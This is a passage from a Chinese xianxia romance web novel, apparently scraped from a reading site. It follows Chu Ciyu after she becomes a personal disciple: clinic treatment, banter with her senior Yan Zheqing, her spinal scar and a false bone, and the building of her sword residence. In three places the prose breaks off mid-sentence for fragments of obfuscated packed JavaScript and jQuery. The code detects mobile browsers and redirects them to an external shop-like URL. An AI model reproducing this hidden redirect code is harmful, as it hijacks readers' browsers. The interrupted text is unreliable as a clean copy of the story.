从黄金台出来后天快黑尽,她再次踏入四方堂时的确不如第一回光鲜亮丽了,衣袍染血,伤痕累累,形容狼狈但平静神色不改。
黎姿信守承诺,恭贺她成功走过了黄金台,宣布楚慈玉从此以后就是自己的亲传弟子了。留在四方堂的尊者与弟子们也替她松了口气,今日留下来的戏挺不错的,好一场苦尽甘来。
只不过正式成为三洲仙院的弟子还需不少步骤,诸如录入仙院名册,获得若木承认等等,这些事琐碎但极其重要。
但楚慈玉目前的情况不太良好,今天肯定走不完这些步骤了,郁晚蔓提议黎姿先放一放,今日就先算了,之后再慢慢安排也没关系,黎姿答应了。
至此,四方堂事务彻底结束,尊者们不打算继续滞留,纷纷动身离开。
静脉尊者走得最快,经过楚慈玉身旁时,她笑盈盈地拍了拍她的肩膀,道:“松手吧。”
楚慈玉才恍觉自己还握着剑。
她的手心被灼烫着,火辣辣的疼痛感不断传来,只是她沉浸在恍惚中没能注意到。蓦然见到古剑,叫她想起些往事,她一时失态了。
古剑出了黄金台就没再说话。
它太孱弱了,即使是住在极其适宜灵器居住的黄金台里时也总沉睡在寒湖里,而刚刚的认主对它消耗颇多,所以现在已经睡去了。
而楚慈玉垂眸,看见先前咬破的指尖聚起了很小的血珠,不是金色的,只是很单纯的血色。她一动手指,血珠就坠在四方堂的琉璃地砖上,溅起很小的花。
尘埃落定,三洲仙院会留下她了。
有点累,楚慈玉后知后觉。
黎姿还没走,矜持地坐在高座上,陡然多了个亲传弟子她还不适应,而且这弟子又是楚襟的女儿,虽然她已经认可了楚慈玉,但是想起此事依旧头疼。
接下来很长一段时间里,她们注定是一对别扭的师徒。
有些内阁弟子好奇地看着楚慈玉,想知道她会跟自己的别扭师父说些什么,但她只是简单朝自己师尊和其他尊者躬身行礼。
她说:“晚辈今日叨扰诸位了。”
然后直起身,没再看任何人,径自抽身离去。
走出四方堂时,天色渐暗,高台空无一人,只余凛冽刮面的夜风。三彩宫灯相递亮起,似一尾游鱼,半空悬着橙黄的光晕,将人的影子映得浓长。
楚慈玉的影单薄瘦长,孑然。
她半阖着眼,任凭困意渐渐经流身躯。祭神血是她的精血,消耗过多会让她疲惫不堪,譬如此刻,楚慈玉完全是靠毅力继续前行。
她也不知道到底要走多久才能停下。
“师妹!”
燕折青第一个从四方堂里奔出来,他伸手牵住楚慈玉的衣角,只稍微用力,怕她被拽得趔趄。其实从流苏花林回来,他就发觉她神色不太对劲。
是伤势太重了么。
燕折青不太能确定原因。
“先去上药吧。”
两人的影相连,受着夜风轻微的扰动。
楚慈玉回头,于是,燕折青那双雪亮如星的眼眸又不期然落入她眸中了。
师妹。
他叫得太自然了,害得她心里咀嚼了好一会儿这两个字,慢了半拍才理解透彻。
哦,她现在的确是他的师妹了。
他可真自来熟。
楚慈玉看了看燕折青,心口漫上来一点她自己都没察觉的清浅笑意,她本该叫他松手的,最后也没有,只低声同他讲:
“师兄,我要回去睡觉。”
疲惫的后劲愈来愈大,她打不起精神,只想找个地方休息。
后头,一头雾水的跟着追出来的原方野听见这话就喷出笑声,他抬肘顶了顶师平秋,咧着嘴道:“黎院又收了一个爱睡觉的亲传弟子,哎,到底是什么缘分呐,座下这么多睡神。”
师平秋瞥他一眼,不动声色地拉开距离。
下一刻,两人罅隙间,飞来一把寒光凛冽的重剑,朝着原方野面门就刺!
原方野大惊,吓得跳起来。
“姬妙音!”
被点名的姬妙音从四方堂里不紧不慢地挪出来,晃悠悠的,有一种随时都会席地而睡的闲适风姿。
“下次说我坏话时,记得背着我。”
她拽拽地撂下一句,淡定地无视了对方的大呼小叫。重剑得令而返,隐入剑鞘。
姬妙音打个哈欠,搭起眼帘,顶着泪花寻找自己今天陡然多出的新鲜热乎的小师妹,她担了任务,得尽早安置好对方的住所。
安置亲传弟子其实是师尊该做的,不过黎姿还在四方堂里心烦着,所以想也不想地就把这差事甩到她脑袋了。
姬妙音一眼就看见了前头的楚慈玉,她没有走出多远,又被人拉住衣角,停在了原地。
拉住她的剑修挺拔清俊,很眼熟。
是燕折青。
姬妙音眯了眯眼,有点困惑。
傍晚的灰蓝弥漫在天地间,宫灯黄澄澄的光晕将高台笼得严实,风声呼啸,夹杂几分孤独与肃杀,人影颀长浓重,绰绰约约。
听到楚慈玉说要回去睡觉,燕折青眼里淌过些许笑意。不过,他可不是那种耳根子软烂的家伙,绝不会就这么松口放她走,他打定主意要说服她先上药。
几番接触,燕折青摸清了楚慈玉吃软不吃硬的性子,于是摇了摇她的衣袍角,低声劝,“别带伤睡啊。”
楚慈玉看他一眼,并不吃劝,“就要带伤睡。”
“那多疼啊,”他又摇她的衣角,“我知道你想睡觉,去医馆边睡边上药,怎么样?”
“我困。”
“很快就好了,我保证。”
……
一方语气温和得少见,哄人似的,一方神情疏离,但态度也不是特别冷漠,叫后面走来的三人看得一愣一愣的。
原方野反应最大,他睁圆眼,颤抖地指着前头,难以置信,“他们俩认识?”
这已经不是一碗桃花红豆羹的事了!两碗,不,起码八碗!
师平秋面上波澜不惊,淡然提醒。
“我们认识十多年也不这样说话。”
真的见鬼了,两人的心声不约而同。
“管那么多干嘛,他们熟不熟又不是咱们要操心的事。”
姬妙音哂笑,懒得陪他们一起瞎琢磨,径直走进楚慈玉和燕折青之间,隔开了两人。
她的目标只有楚慈玉,所以很淡定地搭上了对方的肩,还顺手推开了在旁边碍事的闲杂人等。
在燕折青凛然的目光下,姬妙音泰然自若地开了口:“师妹,还是去医馆吧,恐怕今晚你只能去那儿凑合凑合了。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579212|205072||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>楚慈玉侧头瞧她。
“你现在没住的地方。”
姬妙音含着困意打了个哈欠,不紧不慢地解释,“仙洲大典结束后执事堂为新弟子分配了寝舍,但你今日才入院,所以没来得及给你分配。虽然剑家亲传弟子都有自己单独的剑府,不过你来得突然,剑府还没影。”
“你先去医馆治伤,然后睡一晚吧,明日的事明日再说。没住处的话,可以去我的剑府里暂住几天。”
看来连好好睡一觉都是件困难事,楚慈玉鸦睫微垂,几乎都要答应下来,但却看见姬妙音说可以去她的剑府暂住时,在场人神情蓦然微妙起来。
于是,她跟着顿了顿。
隔着衣袖,燕折青忍着笑虚虚握住楚慈玉的手腕,“听听就好,可千万别真去啊,过了今晚我给你找住处就是了。”
他音色很好,清朗潇洒,听来如涧溪经流,又似泉水叮咚敲青石。
“你这位师姐的剑府可是出了名的狗窝。”
其余在场人皆点头。
狗窝,好令人不爽的两个字。
姬妙音眯起了眼。
虽然她的剑府是公认的潦草破败随心所欲,她也从来没有反驳过狗窝这个笑称,但今天被人揭老底却莫名觉着不愉快。大概是因为才有了小师妹吧,不想丢面子。
姬妙音冷笑,下一刻,背上重剑发出“铮”的一声清脆嗡鸣,剑势爆发开来,直冲燕折青而去。
燕折青何其敏锐!
他墨瞳微睁,讶然瞧了姬妙音一眼,不明白她为何突然发作。而几乎是在同一时间,他的本命剑应声而出,两股看不见的强大剑势在空中交手几回合,谁也不让谁,好一会儿才缓缓消散。
在场人的衣袍皆猎猎作响。
带着真诚的困惑,姬妙音平静地询问:“剑府就必须整洁么,能睡不就可以了?”
燕折青神情复杂地抹了把脸,重新站回楚慈玉身旁,楚慈玉抚了抚衣角,淡然一笑拒绝回答,众人皆沉默,无言似千言。
哦,这真是个难以昧良心回答的问题。
“你们不能太挑了,”姬妙音面不改色地诡辩,“水至清则无鱼。”
燕折青耸肩,“水太混也没鱼啊。”
“你还想再打一架?”
“我可没这么说。”
楚慈玉被夹在两人中间听他们幼稚地拌嘴,困倦不知何时一去不返,她什么都没做,只是开始思考自己是如何陷入眼前境地里。
好想打人,而且想打两个。
忽地,一片洗得微微发白的灰袍袍角闯入她眸中。
“最近的医馆在无相山。”
来人惜字如金,是师平秋。
“去么?”
“要多少三洲石?”
师平秋失笑,没想到她还记着先前那一遭。他只稍微弯了弯唇,然后就很快恢复淡然神情,一本正经地回应。
“救死扶伤,义不容辞。”
意思是不收钱。
“好。”
楚慈玉毫不犹豫地抛下了仍在对峙的两人,跟在师平秋身后离开。
“喂,等我一起!”
燕折青侧头,看见他们已走出几步远,连忙喊住。
但熟料离开的两人闻言竟然走得更快了,燕折青气笑了,当机立断地结束与姬妙音的对局,长腿一迈就追了过去!
13. 你从前
离四方堂最近的医馆在无相山,其实并不算远,但楚慈玉还是花了半盏茶才到。她毕竟是先天有缺的凡人,不能御剑赶路,也不是特别喜欢传送阵,想要尽快赶过去只能乘仙鹤。
夜里仙鹤都睡了,燕折青用甜糕连哄带骗弄来一只,但它上工态度不好,载着楚慈玉去无相山时消极怠工,半阖着眼慢慢飞。
于是燕折青一路都紧紧盯着仙鹤,很怕楚慈玉半途掉下去,还好,直至到了无相山都没发生什么坏事。
无相山的医馆恢宏,踏进医馆后能一眼看到灯火通明的大堂,在这里值夜的医家子弟不少,他们大多身着淡青色医师袍,各司其职井井有条。
进门朝右手侧望去,只见原方野正不安分地坐在长凳上,他把手肘撑在接诊台,探着身子往前兴致勃勃地与坐诊的医家弟子聊天,姿态亲密。
“嗯嗯,我们特意送楚慈玉过来,她已经经受住黄金台的考验啦,现在是黎院的亲传弟子,也就是姬妙音亲师妹了。”
那医家弟子就着他的话问了一句。
原方野挠挠头,回答道:“她伤得重不重?我不太清楚欸,可能燕折青更清楚一点吧。我就知道楚慈玉说她困,要来医馆睡觉。”
“我和姬妙音御剑速度更快,所以先到,折青和平秋他们带着她走在后头呢。”
“阿仪,你今夜要值夜到寅时吗,待会儿下了值要不要和我去吃点东西啊?不过我们先说好,膳堂的桃花红豆羹不能吃,那玩意儿指定有点问题……”
萧敏仪有问必答地回应喋喋不休的原方野,同时毫不留情地拨开他,“对,我的确要值夜到寅时;好,我与你去吃夜食,不吃红豆羹。你在旁边等等我,我先给人看诊。”
她朝走来的楚慈玉一行人抬了抬下巴,展露温和的笑。
“走吧,跟我去诊房。”
楚慈玉乖乖跟她走了。
萧敏仪的诊疗结束得比意料中迅速,她内观过后发现楚慈玉命府与手心的割伤好得极快。
祭神血非常强悍,正由内而外地修复着破损的血肉,楚慈玉内伤已经好得差不多了,现在只剩下皮肤上狰狞的伤痕。
她甚至有点苦恼到底要不要给楚慈玉开药,感觉再有一会儿对方的伤都能好完了。
楚慈玉很淡定地给出了建议,“我体内的神血虽然治愈力强,但是有点顾头不顾腚,如果不好好照料伤口,可能会留疤。”
萧敏仪会意,给她开了两管温和的祛疤药膏,叮嘱她洗浴后再用。
“虽然神血治愈力很强,但它似乎并未改善你的体质,你体内气息稍显紊乱,还是需要小心调养。”
“这样吧,你先去顶楼休息,你师姐在那儿给你定好医房了。我开个调养方子,待会儿药备好了再给你送来。”
萧敏仪将能想到的所有事都交代妥帖了,楚慈玉点点头,谢了她转身要走,却又听她笑道:“对了,妙音她——”
她摇摇头,“算了,你去医房看了就知道。”
楚慈玉从诊房出来时正巧看见坐在接诊台里玩公输尺的燕折青,她心说他原来还没走,他却先问起了她,“诊疗结束了?这么快?”
他像是特意为她留下的。
“因为我只受了一点小伤。”
楚慈玉认真解释道,颇有些自矜。
但燕折青听到小伤就拧起了眉,认真道:“你被凶剑伤及命府,怎会是小伤?你不能轻视,也不能瞒大夫的。”
闻言,楚慈玉不开心地撇嘴。
燕折青讶然眨眨眼。
什么,他没看错吧,她还冲他撇嘴,该不会真被他说中了吧,她当真对大夫瞒伤了吗,萧敏仪不至于真被她一个小家伙骗了吧。
“楚慈玉。”
燕折青语气加重了一点点,而楚慈玉面无表情地盯他。
正值此时,萧敏仪掀帘从诊房出来。她听到了他们的对话,笑着解释道:“人家没说错,她天生神血,恢复力非同寻常,这对她来说真的算小伤。”
燕折青哑然,而楚慈玉无辜地望着他,一副没事我被错怪了但我不生气只要你自己良心不痛就好的看似宽容实则谴责的模样。
燕折青唇止不住地扬起,他败下阵来,笑眼坦然道:“师妹对不起,是我错了,你没事就最好了。”
“没关系。”
楚慈玉弯弯睫,一本正经安慰他,“我不怪师兄。”
师兄。
燕折青在心底咂摸起这个词。
他忽然想起自己似乎是她叫的第一个师兄,在四方堂前她叫了他一声师兄,而先前来医馆的路上,好像没听她这样喊过师平秋。
燕折青反复计较,确认自己就是楚慈玉喊的第一个师兄,眉梢间即刻带上浅浅的愉悦。
萧敏仪看着两人,想起原方野先前在她耳边叨叨的闲话,笑而不语。她还要替其他伤患问诊,所以顺势将带楚慈玉去顶楼医房休息的差事拜托给了燕折青。
顶楼是无相山医馆最舒服最清净的一层,仅设十间独立医房,间间宽
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579213|205072||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
敞,所有用具一应俱全,甚至有小厨房可用。
医馆长廊上燃着宁神香,幽幽草木气息弥散,燕折青将楚慈玉带到医房前,他就不进去了,只打算靠在门边嘱托两句。
“你好好休息吧,待会儿萧敏仪会过来给你上药。”
“嗯。”
楚慈玉转身推门。
木门被缓缓推开一隙,长廊挂灯的暖光挤进黑暗的医房一线,不期然地,她身后传来燕折青的低唤。
“师妹。”
楚慈玉回头,看向他。
廊壁宫灯的光映入燕折青眸中,汇成一片极小又极明亮的湖泊,他的眼瞳深邃如夜,五官落上了深浅不一的阴影,眉眼看起来更锋利了,有种冷淡的俊美。
她望着他的眼睛,问:“怎么了?”
“差点忘了把你的芥子戒还你。”
燕折青拿出先前她托他保管的芥子戒,楚慈玉于是伸手去接。她的手心对着他,示意他给自己放进来,但他没动。
楚慈玉不明所以地晃了晃手心,含着催促的意思。
“行吧。”
燕折青忽然没头没脑地答应了句。
他轻轻托起她的指节,小心地把芥子戒一个接一个地推进她修长的手指。
楚慈玉就这么愣愣看着燕折青替她戴好芥子戒,难得地怔然片刻。她想,原来他说的行,是指,帮她戴上,行。
宫灯柔和的光下,芥子戒显得简约典雅。
楚慈玉盯着燕折青,在想他到底是在对待他人这方面天生不敏感还是生性就对所有人都这么亲近。她不懂,所以直接问了,用那种很平淡的语气。
“师兄对所有人都这么热情吗?”
燕折青当即读懂她真实的意思,不禁觉得好气又好笑。他屈指敲她脑门,道:“我帮你戴芥子戒是因为你手受伤了啊,祭神血还没把你被割开的手心治好,这么大个口子横在我眼前,我多少该有点善心吧。”
“师妹,难道我看起来很好说话么,”他挑眉问她,语气危险,“你倒提醒我了,我待会儿就出去把那帮想在藏经阁蹲我的小崽子揍了。”
楚慈玉捂脑袋,说她知道了。
燕折青酷酷地倚靠着门框,带笑看着她,无奈摇头。片刻,他又收起笑,咳了咳。
“对了,那什么,我还有件事想问问你。”
楚慈玉歪头看他。
“你以前,”燕折青眼眸微移,不自在地整了整衣襟,状似平常地询问,“有没有养过狗?”
14. 伪骨
楚慈玉没有立刻回答。
长廊寂静,只能听见两人清浅的呼吸声。
这样的沉默莫名叫燕折青觉得难熬,他抿起唇,不自在地抻了抻手指,不禁算起自己有多久没体会过这种煎熬。
他心里的滋味复杂,又很怪,快乐失落煎熬期待等等什么都有,总之乱七八糟。
见到她起,他就变得有点怪。
“师兄,我养——”
楚慈玉歪歪头,温温软软地开口,又停顿。燕折青眼瞳一缩,心随着她的话猛跳,不自觉滚了滚喉结。
不过很可惜,她接下来的话像拍过来的雨,把他浇得透心凉。
“——没养过狗,自己也记不太清了。”
楚慈玉认真地跟他说再见,然后关好门进了医房。
房门合上时带起一小阵风,吹起燕折青一缕额发。他确信在门彻底关上前,自己看到了楚慈玉唇边很浅的笑。她倒是轻快地一走了之了,徒留他一个人焦灼,他磨了磨牙,盯着那扇合得紧紧的门,焦急地想她什么意思。
记不清算什么。
所以到底养没养过呢。
养过狗的话,怎么能记不清呢,明明养过狗却又忘了狗的话,狗该多伤心啊——
燕折青就是在这一刻扼住自己的思绪的,面无表情地扼住,甚至想冷笑。
他捂住自己下半张脸,靠着墙慢慢坐下,曲起腿,手臂颓颓地搭在上面。燕折青恨铁不成钢地问自己,声音压得很低,“像什么样子,还共情上狗了,梦里面没当够么……”
“……真是疯了。”
他挨着墙丧丧地听自己激烈的心跳声,忍不住抬手按了按心口,不明白它为何反应如此强烈,真是没出息。
半晌,燕折青起身,拉开隔壁医房的门,踏入黑暗里。
-
楚慈玉点上灯后,屋里明亮起来。
顶楼医房的构建颇费心思,除开最大的卧房外,另设了几间稍微小点的房间给陪护人员住。房内各处设施皆由机关家弟子监造,含有不少机关术巧思,能够为重伤后行动不便的人提供许多助力。
仍在鲸洲时,楚慈玉就从书中习得三洲机关家的造诣远超其余几洲,今日借小小医房管中窥豹,可知此事不假。
她抬眸,看见某间陪房的房门半开着。重剑被随意扔在门前抵着,一眼望过去,隐隐能瞧见里面露出的床榻一角。
里面有人在睡觉。
楚慈玉走过去,从门缝看去,只见姬妙音瘫在榻上睡得不省人事,她还留了张字条贴在门上,字越写越飘,像鬼画符。
“上药,住隔壁,师姐困,先睡。”
楚慈玉看了好一会儿才懂,然后觉得自己果真是累了,居然在这张鬼画符前站了好半天。她回了一个好,字迹端正,不难见风骨,与姬妙音的鬼画符对比鲜明。
嗯,并非有意。
离开时,她顺手帮姬妙音把门关好了。
进了自己那间卧房后,楚慈玉洗漱一番,胡乱抹了抹药膏,换了件衣裳就窝进了被褥里。床是暖的,底下有机关运作,但半点声响都没有,她很快陷入沉睡。
从小到大,楚慈玉所需的深睡都不多,她的夜晚总有别的事可做,但实在疲惫时,也会陷入沉沉的无梦的酣眠,譬如此刻。
等楚慈玉醒来,已经是一个时辰后。
她推开门出去,看见萧敏仪正在厅中调药膏,姬妙音躺在藤椅上吃葡萄,两人有一搭没一搭地聊天,但声音很小。
见人醒了,萧敏仪就不再闲聊,推了推手边的药膏,看向楚慈玉,“你醒得好早,不过正好,药也调好了。”
“坐过来吧,我给你上药。我查了有关祭神血的记载,调配了些能配合神血使用的药膏。”
楚慈玉顿了顿,有些犹豫。
萧敏仪笑道:“怎么,害羞吗?我是医师,不用害羞。”
楚慈玉还是踌躇着没动,萧敏仪看了一圈医房,最后拍了拍姬妙音的肩膀,“进去吃葡萄,你在这儿呆着师妹不自在。”
姬妙音懒懒散散地爬起来,软得像没骨头,她可怜兮兮地抱着葡萄要走。楚慈玉微微叹了口气,说没事,然后坐了过去。
她解开衣襟,衣袍缓缓落下一截,露出削瘦的肩头,萧敏仪和姬妙音眼神一凝,不自觉屏气。
楚慈玉背上有道狰狞的棕褐色疤痕,长长一道,形如荆棘,就生长在脊骨的位置上,像是脊骨曾活生生被剖出过。
疤痕微微突起,在她凝脂般的肌肤上显得突兀刺眼。
谁都知道鲸洲前任圣子楚襟已经勘破仙者境,是十四洲最强的医者之一,而他的女儿天生神血,治愈力惊人。
按理说,她不该有如此严重的伤。
背后的人没说话,楚慈玉也没说话,偌大的医房一时变得很安静,香炉轻烟幽幽,散在空中朦胧宁静。
楚慈玉只是感受到微凉的软滑药膏被轻轻抹上自己的脊背,经年的伤疤不再敏感,被触碰了也不会有多少感觉,但也不是不能想象上药者的温柔。
她微微垂睫。
神血的治愈能力确实很强,但如果遇上一道十余年来不停反复不停撕裂的伤,也只能任由疤痕肆虐。
楚慈玉比起常人少了一截脊骨,现在留在她体内的只是伪骨,与她自身根骨并不相配。伪骨四月一换,所以每隔四月她就会犯病,会卧床不起。
楚襟说,这是她生来的残缺,是她的命。
照着镜子看背上狰狞的疤痕时,楚慈玉也会想她是否看起来很好骗。但最重要的从来都不是她会不会被骗,而是即使楚襟说谎了,她也无法反抗。
萧敏仪调配的药膏有引人入睡的效用,上完药时楚慈玉的眼皮已经很难抬起,很困地低着脑袋,忍不住打盹。
“去睡吧,”萧敏仪摸摸她的头,“能走么,不能的话,让你师姐抱你进去。”
楚慈玉听到这话清醒了点,她摇头,“我能走的。”
她撑起身子回房,倒在床上,用被褥将自己一卷,又重新窝进黑暗里。楚慈玉有点喜欢医房的床,很大很软,又暖烘烘的,只要躺下闭眼就好,什么都不用管。
再次醒来是翌日下午。
除开犯病的日子,楚慈玉很少睡这么久。她走出医房,经过长廊,窗前灿烂的晴光落在她肩上,将地面影子拉得狭长。
鲸洲的冬喜怒不定,冷的时候很冷,暖和的时候也很暖和。
从机关梯下到医馆大堂时,楚慈玉听见燕折青的声音。
“她怎么睡这么久没问题吗?她没入道,是不是不该用医修士的方式医她?”
回答他的是萧敏仪,语气温柔但话里带刀。
“如果这么怀疑我的医术的话,下回受伤就别来无相山医馆,干脆自己治自己好了,想来我们仙院这位学贯剑符阵三家的天才再多修一门医也不成问题。”
刚到的师平秋困惑,“你们在说谁睡得久?”
“楚慈玉。”
燕折青答道。
他话音刚落,楚慈玉就从机关梯间探出头,朝他摆摆手,“我在这里。”
燕折青转过身,高束的墨发也跟着动。他不是昨天那个长发美人了,头发扎得好好的,换了身墨蓝袍子,晴光打过去,勾勒出宽肩窄腰的极好身形,俊美利落,玉树临风。
他朝她一抬下巴,笑意舒朗,“来得正好。”
“走,带你去解决剑府的事。”
于是,楚慈玉点点头,跟着人走了。
出行依旧是乘仙鹤,燕折青御剑跟在旁边,楚慈玉抱着仙鹤的脖子往下看,只见山峰云海全都远去,一切都那么小,那么无足轻重。
“看。”
燕折青带她穿过一层屏障,然后指向下面的一片青峰,道:“这是所有剑家亲传弟子的剑府所在地,边上这三座山峰就是执事堂划给你的区域,你可以在其中任选一座山峰造剑府。”
楚慈玉不禁感叹仙院的阔绰。
当亲传弟子真是当对了,她心情很好地指指左边那座布满竹林的山峰,“我选这座。”
“选得真利落。”
燕折青笑着夸她,他清清嗓子,不经意地点了点竹峰旁边那座山,“很巧,我就住隔壁山的山腰上,以后有事可以来找我。”
他说完就若无其事地侧过身,像是在看竹峰的风景,但总有点欲盖弥彰的味道。
那么多山,那么宽阔的天地,怎么他偏偏就当了她的邻居,怎么三座山峰无论楚慈玉住哪座,都挨他很近。
楚慈玉若有所思,在燕折青背后幽幽出声。
“没有事的话,就不能找师兄么?”
“师兄放心,如果没事,我不会随便找师兄的。”
燕折青一噎。
他什么时候是这个意思了,他明明是希望——她真是的,绝对是故意的吧!坏家伙!
燕折青憋屈地领人下到竹峰,拿出执事堂给的图纸,语气硬邦邦地给楚慈玉讲解:“竹峰上这几处都比较适合建造剑府,你看看吧。选好址就可以造剑府了,只是——”
他顿了顿,继续说:“建造剑府挺麻烦的,没有一两个月搞不定。剑府图纸你定好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579214|205072||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后就交给执事堂,仙院会提供原材料,不过后面的建造就得你自己安排了。”
“可以雇机关家修士来建,他们弄得快,就是要耗费的三洲石有点多。”
楚慈玉毫不担心地颔首。
还好,三洲石对她来说是最不成问题的问题,她决定了,最迟后天就要住上剑府。
不过,令她困惑好奇的是别的事。
“剑家亲传弟子的住所叫剑府,那符家术数家他们的呢?也是在后面加个府么,比如,符府?好像有点怪。”
燕折青卡壳,思绪瞬间被带着跑偏,他还真没注意过其他几家弟子的居所取了什么诨名,不禁摸摸下颌,轻啧,“符府是有点难听……”
楚慈玉:“是欸。”
当夜,楚慈玉又在医房度过一晚。
第二日的傍晚,她退掉医房,准备离开无相山医馆。萧敏仪微讶,关切问道:“你接下来打算住哪儿?”
楚慈玉告诉她自己的剑府建好了。
萧敏仪想起这两日公输尺上有机关家弟子说遇到了财神,她弯睫,笑得开怀,“原来他们说的财神是你。”
“谁?”
“公输尺上的机关家弟子,噢我忘了,你不一定能看到。”
萧敏仪拿起自己的公输尺,调出仙院公输密钥,往楚慈玉公输尺上一碰。不过须臾,楚慈玉的公输尺就接洽上了仙院地域,弹出许多新鲜内容。
“顺便加我,”萧敏仪晃晃公输尺,“以后有事好联络。”
楚慈玉答应了。
夜里,燕折青扛着受伤的师平秋来医馆,把人送进诊房后,又准备上顶楼一趟问问楚慈玉造剑府的进度。萧敏仪眼也不抬,道:“不用去了,人走了。”
燕折青诧异,“走了?那你知道她去哪儿了么?”
萧敏仪点点公输尺,“自己问。”
燕折青沉默,半晌,他淡声:“我还没加她公输尺。”
萧敏仪真有点意外了,不禁笑出声。
“不会吧燕折青,你这么不招人待见啊?忙前忙后的,结果连公输尺都没加上。”
燕折青被戳到痛处,不想答。
奚落完人,萧敏仪好心解释道:“楚慈玉的剑府已经造好了,以后她住自己剑府,不用借住医房了。”
“谢了。”
燕折青在候诊区坐下,抬手捏捏眉骨。
加公输尺的事他压根没想起来,毕竟他和楚慈玉天天都有见面。不过她为什么不主动要他的联络方式,难道他真不招人待见?
那不可能。
算了,燕折青暂时不着急这件事。毕竟他们是邻居,以后抬头不见低头见,她想不加他公输尺都难。
他又看了眼师平秋所在的诊房,微微蹙眉。
最近,三洲的婴树茶贸易出了些古怪,师平秋身为稽查司人员,主动领命前往主城巡查,但在追查过程中与人交手,意外受伤。
师平秋已经是十一境修士了。十四洲的修士主要分为天人境与仙者境两个大境界,其中天人境可细分为十五个小境界。
越往后破境越难,仙者境修士是在整个十四洲都说得上话的强者。按理说,以师平秋的境界,他是不该轻易被人伤到的。
燕折青面色淡了些,高挺的眉骨流露出几分锋利与冷漠。眼下的麻烦还多,但他会一件一件着手解决。
从医馆出来已经是深夜,燕折青揉揉酸疼的肩颈,召剑回府。途经竹峰时,他往下随意一瞥,只见山腰处多出一幢带前后院的三层小楼,此刻二楼的灯还亮着,支摘窗前人影晃动。
燕折青一笑,心说到底是贪玩,这个点都不睡。
比较起来,楚慈玉的剑府地势要比他的稍微高些。燕折青在心里算着,又多看了那小院两眼,但这两眼险些没叫他从剑上栽倒。
他当即刹住身形。
细细一看,这小院与小楼长得非常眼熟,但燕折青想不起自己具体在哪儿见过。
三层小楼崭新,构造精巧,看得出来是机关家的杰作。前院栽了垂丝海棠与梧桐,挖了个小池塘,置了秋千石桌等,有几只笨重的机关人偶待命;而后院建了放杂物的仓室,还辟了块田,很有田园隐士的味道。
燕折青御剑,远远绕着小楼看了一圈。打眼过去,只见楚慈玉的剑府里,所有用具一应俱全,但总让他觉得少了点什么。
啧。
到底缺了什么呢。
燕折青迟迟想不懂,胸腔里生出股郁闷。浅浅停了片刻后,他头也不回地走了。
不着急,他与她来日方长。